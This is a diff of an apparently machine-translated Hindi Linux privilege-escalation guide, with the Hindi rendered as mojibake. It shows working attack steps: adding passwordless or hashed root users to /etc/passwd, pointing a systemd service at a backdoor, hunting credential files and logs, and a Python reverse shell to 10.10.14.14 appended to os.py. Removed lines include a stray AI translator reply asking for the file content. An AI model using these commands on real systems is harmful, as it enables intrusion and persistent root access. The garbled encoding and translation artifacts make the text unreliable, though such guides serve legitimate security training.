рдХреЗ рдЕрдВрджрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп /etc/passwd -рдкрд╣рд▓реЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдбреНрд╕ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдХреЗ рд╕рд╛рде рдПрдХ password рдЬрдирд░реЗрдЯ рдХрд░реЗрдВред +рдкрд╣рд▓реЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ command рдХреЗ рд╕рд╛рде рдПрдХ password рдЬрдирд░реЗрдЯ рдХрд░реЗрдВред ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -рдореБрдЭреЗ рдлрд╛рдЗрд▓ src/linux-hardening/privilege-escalation/README.md рдХреА рд╕рд╛рдордЧреНрд░реА рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдореИрдВ рдЗрд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд┐рдпрдореЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╣рд┐рдВрджреА рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░ рд╕рдХреВрдБ рдФрд░ рдлрд┐рд░ рдЙрд╕ рдЕрдиреБрд╡рд╛рджрд┐рдд рдЯреЗрдХреНрд╕реНрдЯ рдореЗрдВ `hacker` user рдФрд░ рдЬрдирд░реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬреЛрдбрд╝ рд╕рдХреВрдВред - -рдХреГрдкрдпрд╛ рдирд┐рдореНрди рдмрддрд╛рдПрдВ/рдкреЗрд╕реНрдЯ рдХрд░реЗрдВ: -- README.md рдХреА рдкреВрд░реА рд╕рд╛рдордЧреНрд░реА (рдпрд╛ рд╡рд╣ рд╣рд┐рд╕реНрд╕рд╛ рдЬрд┐рд╕реЗ рдЕрдиреБрд╡рд╛рдж рдЪрд╛рд╣рд┐рдП)ред -- рдХреНрдпрд╛ рдЖрдк рдЪрд╛рд╣реЗрдВрдЧреЗ рдХрд┐ рдЬрдирд░реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреЛрдб рдлрд╝реЙрд░реНрдореЗрдЯ (backticks) рдореЗрдВ рдЬреЛрдбрд╝реВрдВ? (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рд╣рд╛рдБ) -- рдкрд╛рд╕рд╡рд░реНрдб рдХреА рд▓рдВрдмрд╛рдИ/рдЬрдЯрд┐рд▓рддрд╛ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдкреНрд░рд╛рдердорд┐рдХрддрд╛? (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: 16 рдХреИрд░реЗрдХреНрдЯрд░, рдЕрдХреНрд╖рд░+рд╕рдВрдЦреНрдпрд╛+рдкреНрд░рддреАрдХ) - -рдЬрдм рдЖрдк рд╕рд╛рдордЧреНрд░реА рджреЗ рджреЗрдВрдЧреЗ, рдореИрдВ рд╡рд╣реА Markdown/HTML рдЯреИрдЧ рдФрд░ paths/рд▓рд┐рдВрдХреНрд╕ рдЕрдкрд░рд┐рд╡рд░реНрддрд┐рдд рд░рдЦрддреЗ рд╣реБрдП рд╢реЗрд╖ рдЕрдВрдЧреНрд░реЗрдЬрд╝реА рдЯреЗрдХреНрд╕реНрдЯ рдХрд╛ рд╕реНрдкрд╖реНрдЯ рдФрд░ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╣рд┐рдВрджреА рдЕрдиреБрд╡рд╛рдж рдХрд░ рджреВрдБрдЧрд╛ рдФрд░ рдЕрдВрдд рдореЗрдВ `hacker` user рд╡ рдЬрдирд░реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬреЛрдбрд╝ рджреВрдБрдЧрд╛ред +рдлрд┐рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `hacker` рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЙрддреНрдкрдиреНрди рдкрд╛рд╕рд╡рд░реНрдб рдЬреЛрдбрд╝реЗрдВред ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -рдЙрджрд╛: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +рдЙрджрд╛рд╣рд░рдг: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` рдЕрдм рдЖрдк `su` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ `hacker:hacker` рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ -рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЖрдк рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдмрд┐рдирд╛ рдПрдХ рдбрдореА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд╛рдЗрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЪреЗрддрд╛рд╡рдиреА: рдЗрд╕рд╕реЗ рдорд╢реАрди рдХреА рдореМрдЬреВрджрд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░ рд╣реЛ рд╕рдХрддреА рд╣реИред +рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЖрдк рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдПрдХ рдирдХрд▓реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +рдЪреЗрддрд╛рд╡рдиреА: рдЖрдк рдорд╢реАрди рдХреА рд╡рд░реНрддрдорд╛рди рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдХрдордЬреЛрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -рдиреЛрдЯ: BSD рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдореЗрдВ `/etc/passwd` рдХрд╛ рд╕реНрдерд╛рди `/etc/pwd.db` рдФрд░ `/etc/master.passwd` рд╣реЛрддрд╛ рд╣реИ, рдФрд░ `/etc/shadow` рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ `/etc/spwd.db` рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +рдиреЛрдЯ: BSD рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдореНрд╕ рдореЗрдВ `/etc/passwd` рд╕реНрдерд┐рдд рд╣реИ `/etc/pwd.db` рдФрд░ `/etc/master.passwd`, рд╕рд╛рде рд╣реА `/etc/shadow` рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ `/etc/spwd.db` рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИред -рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдБрдЪрдиреА рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк **рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА **рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓** рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ? +рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдБрдЪрдиреА рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ **рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА **рд╕рд░реНрд╡рд┐рд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓** рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдЧрд░ рдорд╢реАрди рдкрд░ **tomcat** рд╕рд░реНрд╡рд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **/etc/systemd/ рдХреЗ рдЕрдВрджрд░ Tomcat service configuration file рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ,** рддреЛ рдЖрдк рдирд┐рдореНрди рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдорд╢реАрди рдкрд░ **tomcat** рд╕рд░реНрд╡рд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **/etc/systemd/ рдХреЗ рдЕрдВрджрд░ Tomcat рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ,** рддреЛ рдЖрдк рдирд┐рдореНрди рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor will be executed the next time that tomcat is started. +рдЖрдкрдХрд╛ backdoor рддрдм рд╕рдХреНрд░рд┐рдп рд╣реЛрдЧрд╛ рдЬрдм tomcat рдЕрдЧрд▓реА рдмрд╛рд░ рд╢реБрд░реВ рд╣реЛрдЧрд╛ред -### рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ +### рдлрд╝реЛрд▓реНрдбрд░ рдЬрд╛рдВрдЪреЗрдВ -рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдмреИрдХрдЕрдк рдпрд╛ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИ: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (рд╕рдВрднрд╡рддрдГ рдЖрдк рдЖрдЦрд┐рд░реА рд╡рд╛рд▓реЗ рдХреЛ рдкрдврд╝ рдирд╣реАрдВ рдкрд╛рдПрдБрдЧреЗ, рд▓реЗрдХрд┐рди рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ) +рдЗрди рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдмреИрдХрдЕрдк рдпрд╛ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рд╣реЛ рд╕рдХрддреА рд╣реИ: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (рд╢рд╛рдпрдж рдЖрдк рдЖрдЦрд┐рд░реА рд╡рд╛рд▓реЗ рдХреЛ рдкрдврд╝ рди рдкрд╛рдПрдВ, рдкрд░ рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### рдЕрдЬреАрдм рд╕реНрдерд╛рди/Owned рдлрд╝рд╛рдЗрд▓реЗрдВ +### рдЕрдЬреАрдм рд╕реНрдерд╛рди/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1376,16 +1354,16 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### рдЫрд┐рдкреА рд╣реБрдИ рдлрд╝рд╛рдЗрд▓реЗрдВ +### рдЫрд┐рдкреА рдлрд╝рд╛рдЗрд▓реЗрдВ ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH рдореЗрдВ Script/Binaries** +### **рд╕реНрдХреНрд░рд┐рдкреНрдЯ/рдмрд╛рдЗрдирд░реА PATH рдореЗрдВ** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Web рдлрд╝рд╛рдЗрд▓реЗрдВ** +### **рд╡реЗрдм рдлрд╝рд╛рдЗрд▓реЗрдВ** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1396,22 +1374,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### рдкрд╛рд╕рд╡рд░реНрдб рд░рдЦрдиреЗ рд╡рд╛рд▓реА рдЬреНрдЮрд╛рдд рдлрд╝рд╛рдЗрд▓реЗрдВ +### Known files containing passwords -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) рдХреЗ рдХреЛрдб рдХреЛ рдкрдврд╝реЗрдВ, рдпрд╣ **рдЙрди рдХрдИ рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ** рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред\ -**рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рдЯреВрд▓** рдЬрд┐рд╕рдХрд╛ рдЖрдк рдЗрд╕рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) рдЬреЛ рдПрдХ open source application рд╣реИ рдЬреЛ Windows, Linux & Mac рдкрд░ рд▓реЛрдХрд▓ рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрдИ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИред +Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), рдпрд╣ рдХрдИ рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╛рдЗрд▓реЗрдВ рдЦреЛрдЬрддрд╛ рд╣реИ рдЬреЛ **passwords** рд░рдЦ рд╕рдХрддреА рд╣реИрдВред\ +**Another interesting tool** рдЬрд┐рд╕реЗ рдЖрдк рдЗрд╕рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) рдЬреЛ рдПрдХ рдУрдкрди рд╕реЛрд░реНрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реИ, рд╕реНрдерд╛рдиреАрдп рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕рдВрдЧреНрд░рд╣рд┐рдд рдХрдИ **passwords** рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП, Windows, Linux & Mac рдХреЗ рд▓рд┐рдПред -### рд▓реЙрдЧреНрд╕ +### Logs -рдпрджрд┐ рдЖрдк рд▓реЙрдЧреНрд╕ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдирдореЗрдВ **рджрд┐рд▓рдЪрд╕реНрдк/рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЬрд┐рддрдирд╛ рдЕрдЬреАрдм рд▓реЙрдЧ рд╣реЛрдЧрд╛, рдЙрддрдирд╛ (рд╢рд╛рдпрдж) рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрдЧрд╛ред\ -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреБрдЫ **"bad"** рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП (backdoored?) **audit logs** рдЖрдкрдХреЛ audit logs рдХреЗ рдЕрдВрджрд░ рдкрд╛рд╕рд╡рд░реНрдб рд░рд┐рдХреЙрд░реНрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +рдпрджрд┐ рдЖрдк logs рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдирдореЗрдВ **рд░реЛрдЪрдХ/рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА рдЙрдирдХреЗ рдЕрдВрджрд░** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЬрд┐рддрдирд╛ рдЕрдзрд┐рдХ рдЕрдЬреАрдм log рд╣реЛрдЧрд╛, рдЙрддрдирд╛ рдЕрдзрд┐рдХ рд░реЛрдЪрдХ рд╣реЛрдЧрд╛ (рд╢рд╛рдпрдж).\ +Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/ ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` **рд▓реЙрдЧ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдореВрд╣** [**adm**](interesting-groups-linux-pe/index.html#adm-group) рдмрд╣реБрдд рдорджрджрдЧрд╛рд░ рд╣реЛрдЧрд╛ред -### Shell files +### Shell рдлрд╛рдЗрд▓реЗрдВ ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1424,41 +1402,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -You should also check for files containing the word "**password**" in its **рдирд╛рдо** or inside the **рд╕рд╛рдордЧреНрд░реА**, and also check for IPs and emails inside logs, or hashes regexps.\ -рдореИрдВ рдпрд╣рд╛рдБ рдпрд╣ рд╕рдм рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ рд╕реВрдЪреАрдмрджреНрдз рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЙрди рдЕрдВрддрд┐рдо рдЪреЗрдХреНрд╕ рдХреЛ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform рдХрд░рддреЗ рд╣реИрдВред +You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ +рдЖрдкрдХреЛ рдЙрди рдлрд╛рдЗрд▓реЛрдВ рдХреА рднреА рдЬрд╛рдБрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдЬрд┐рдирдХреЗ рдирд╛рдо рдореЗрдВ рдпрд╛ рдЙрдирдХреА рд╕рд╛рдордЧреНрд░реА рдореЗрдВ рд╢рдмреНрдж "**password**" рд╣реЛ, рдФрд░ logs рдХреЗ рдЕрдВрджрд░ IPs рдФрд░ emails рдпрд╛ hashes regexps рдХреА рднреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред\ рдореИрдВ рдпрд╣рд╛рдБ рдпрд╣ рд╕рдм рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ рд╕реВрдЪреАрдмрджреНрдз рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реВрдБ рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдк рдЗрдЪреНрдЫреБрдХ рд╣реИрдВ рддреЛ рдЖрдк [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЧрдП рдЕрдВрддрд┐рдо checks рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред -## Writable files +## рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╛рдЗрд▓реЗрдВ ### Python library hijacking -If you know from **рдХрд╣рд╛рдВ рд╕реЗ** a python script is going to be executed and you **рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ** or you can **python libraries рдХреЛ modify рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). +рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ python script рдХрд╣рд╛рдБ рд╕реЗ execute рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ рдФрд░ рдЖрдк рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ **рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ** рдпрд╛ рдЖрдк **python libraries рдХреЛ modify** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк OS library рдХреЛ modify рдХрд░рдХреЗ рдЙрд╕рдореЗрдВ backdoor рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ (рдпрджрд┐ рдЖрдк рдЙрд╕ рдЬрдЧрд╣ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ python script execute рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ, рддреЛ os.py library рдХреЛ copy рдФрд░ paste рдХрд░реЗрдВ)ред -os.py рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рдЕрдВрдд рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд╛рдЗрди рдЬреЛрдбрд╝рдХрд░ **library рдХреЛ backdoor рдХрд░реЗрдВ** (IP рдФрд░ PORT рдмрджрд▓реЗрдВ): +To **backdoor the library** рдмрд╕ os.py library рдХреЗ рдЕрдВрдд рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд╛рдЗрди рдЬреЛрдбрд╝реЗрдВ (IP рдФрд░ PORT рдмрджрд▓реЗрдВ): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -`logrotate` рдореЗрдВ рдПрдХ vulnerability рдРрд╕реА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдХрд┐ рдЬрд┐рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдЙрд╕рдХреЗ parent directories рдкрд░ **write permissions** рд╣реЛрдВ рд╡реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ escalated privileges рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ `logrotate`, рдЬреЛ рдЕрдХреНрд╕рд░ **root** рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ, рдХреЛ рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП manipulate рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЦрд╛рд╕рдХрд░ рдЙрди рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдореЗрдВ рдЬреИрд╕реЗ _**/etc/bash_completion.d/**_. рдХреЗрд╡рд▓ _/var/log_ рдореЗрдВ рд╣реА рдирд╣реАрдВ, рдмрд▓реНрдХрд┐ рдЙрди рдХрд┐рд╕реА рднреА рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдЬрд╣рд╛рдБ log rotation рд▓рд╛рдЧреВ рд╣реИ, permissions рдЪреЗрдХ рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред +`logrotate` рдореЗрдВ рдПрдХ рдХрдордЬрд╝реЛрд░реА рдРрд╕реА рд╣реИ рдХрд┐ рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдЙрд╕рдХреЗ parent рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ `logrotate`, рдЬреЛ рдЕрдХреНрд╕рд░ **root** рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ, рдХреЛ arbitrary рдлрд╛рдЗрд▓реЗрдВ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП manipulate рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЦрд╛рд╕рдХрд░ рдЙрди рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдореЗрдВ рдЬреИрд╕реЗ _**/etc/bash_completion.d/**_. рдпрд╣ рдЬрд╝рд░реВрд░реА рд╣реИ рдХрд┐ permissions рдХреА рдЬрд╛рдБрдЪ рд╕рд┐рд░реНрдл _/var/log_ рдореЗрдВ рд╣реА рди рдХрд░реЗрдВ рдмрд▓реНрдХрд┐ рдЙрди рдХрд┐рд╕реА 